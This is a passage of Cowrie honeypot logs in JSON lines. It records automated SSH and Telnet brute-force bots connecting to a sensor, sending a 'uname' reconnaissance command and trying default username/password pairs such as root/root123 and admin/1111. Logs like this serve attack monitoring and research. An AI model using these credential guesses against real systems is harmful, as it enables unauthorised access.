{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.944609Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:23.028988Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:23.033599Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41022,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de96c1280a2","protocol":"ssh","message":"New connection: 176.65.132.129:41022 (159.203.135.109:22) [session: 6de96c1280a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:25.569575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:25.574579Z","src_ip":"176.65.132.129","session":"6de96c1280a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:25.656711Z","src_ip":"176.65.132.129","session":"6de96c1280a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56918,"dst_ip":"10.17.0.5","dst_port":23,"session":"00369eb1e2e1","protocol":"telnet","message":"New connection: 45.58.127.90:56918 (10.17.0.5:23) [session: 00369eb1e2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:25.715116Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:25.903088Z","src_ip":"176.65.132.129","session":"6de96c1280a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:26.988116Z","src_ip":"176.65.132.129","session":"6de96c1280a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46666,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a8709d21870","protocol":"ssh","message":"New connection: 172.237.20.62:46666 (159.203.135.109:22) [session: 5a8709d21870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:27.585373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:27.589659Z","src_ip":"172.237.20.62","session":"5a8709d21870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:27.748887Z","src_ip":"172.237.20.62","session":"5a8709d21870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:28.436572Z","src_ip":"172.237.20.62","session":"5a8709d21870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52626,"dst_ip":"159.203.135.109","dst_port":22,"session":"e82d4917323c","protocol":"ssh","message":"New connection: 176.65.132.129:52626 (159.203.135.109:22) [session: e82d4917323c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:28.807005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:28.811606Z","src_ip":"176.65.132.129","session":"e82d4917323c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:28.893367Z","src_ip":"176.65.132.129","session":"e82d4917323c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:29.138822Z","src_ip":"176.65.132.129","session":"e82d4917323c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:29.597156Z","src_ip":"172.237.20.62","session":"5a8709d21870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:30.224245Z","src_ip":"176.65.132.129","session":"e82d4917323c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34172,"dst_ip":"10.17.0.5","dst_port":23,"session":"229d27811f0b","protocol":"telnet","message":"New connection: 45.58.127.90:34172 (10.17.0.5:23) [session: 229d27811f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:31.548933Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34184,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4e0c72cf49e","protocol":"telnet","message":"New connection: 45.58.127.90:34184 (10.17.0.5:23) [session: d4e0c72cf49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:31.553913Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52640,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2d58b23cdb","protocol":"ssh","message":"New connection: 176.65.132.129:52640 (159.203.135.109:22) [session: 0e2d58b23cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:32.074342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:32.078576Z","src_ip":"176.65.132.129","session":"0e2d58b23cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:32.160231Z","src_ip":"176.65.132.129","session":"0e2d58b23cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:32.547158Z","src_ip":"176.65.132.129","session":"0e2d58b23cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34188,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bfe31a6a832","protocol":"telnet","message":"New connection: 45.58.127.90:34188 (10.17.0.5:23) [session: 0bfe31a6a832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:32.630808Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:33.631888Z","src_ip":"176.65.132.129","session":"0e2d58b23cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52656,"dst_ip":"159.203.135.109","dst_port":22,"session":"10c2807c521b","protocol":"ssh","message":"New connection: 176.65.132.129:52656 (159.203.135.109:22) [session: 10c2807c521b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:35.496110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:35.500922Z","src_ip":"176.65.132.129","session":"10c2807c521b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:35.585763Z","src_ip":"176.65.132.129","session":"10c2807c521b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:35.831106Z","src_ip":"176.65.132.129","session":"10c2807c521b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:37.003758Z","src_ip":"176.65.132.129","session":"10c2807c521b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54404,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff599e9161d5","protocol":"ssh","message":"New connection: 172.237.20.62:54404 (159.203.135.109:22) [session: ff599e9161d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:38.471371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:38.476720Z","src_ip":"172.237.20.62","session":"ff599e9161d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:38.639791Z","src_ip":"172.237.20.62","session":"ff599e9161d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43578,"dst_ip":"159.203.135.109","dst_port":22,"session":"68c26a5d97dc","protocol":"ssh","message":"New connection: 176.65.132.129:43578 (159.203.135.109:22) [session: 68c26a5d97dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:38.828005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:38.833056Z","src_ip":"176.65.132.129","session":"68c26a5d97dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:38.914495Z","src_ip":"176.65.132.129","session":"68c26a5d97dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:39.158147Z","src_ip":"176.65.132.129","session":"68c26a5d97dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:39.168805Z","src_ip":"172.237.20.62","session":"ff599e9161d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34196,"dst_ip":"10.17.0.5","dst_port":23,"session":"be19f9554519","protocol":"telnet","message":"New connection: 45.58.127.90:34196 (10.17.0.5:23) [session: be19f9554519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:40.086167Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:40.242973Z","src_ip":"176.65.132.129","session":"68c26a5d97dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:40.334001Z","src_ip":"172.237.20.62","session":"ff599e9161d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43596,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d89fe78d2f6","protocol":"ssh","message":"New connection: 176.65.132.129:43596 (159.203.135.109:22) [session: 7d89fe78d2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:42.255307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:42.259699Z","src_ip":"176.65.132.129","session":"7d89fe78d2f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecds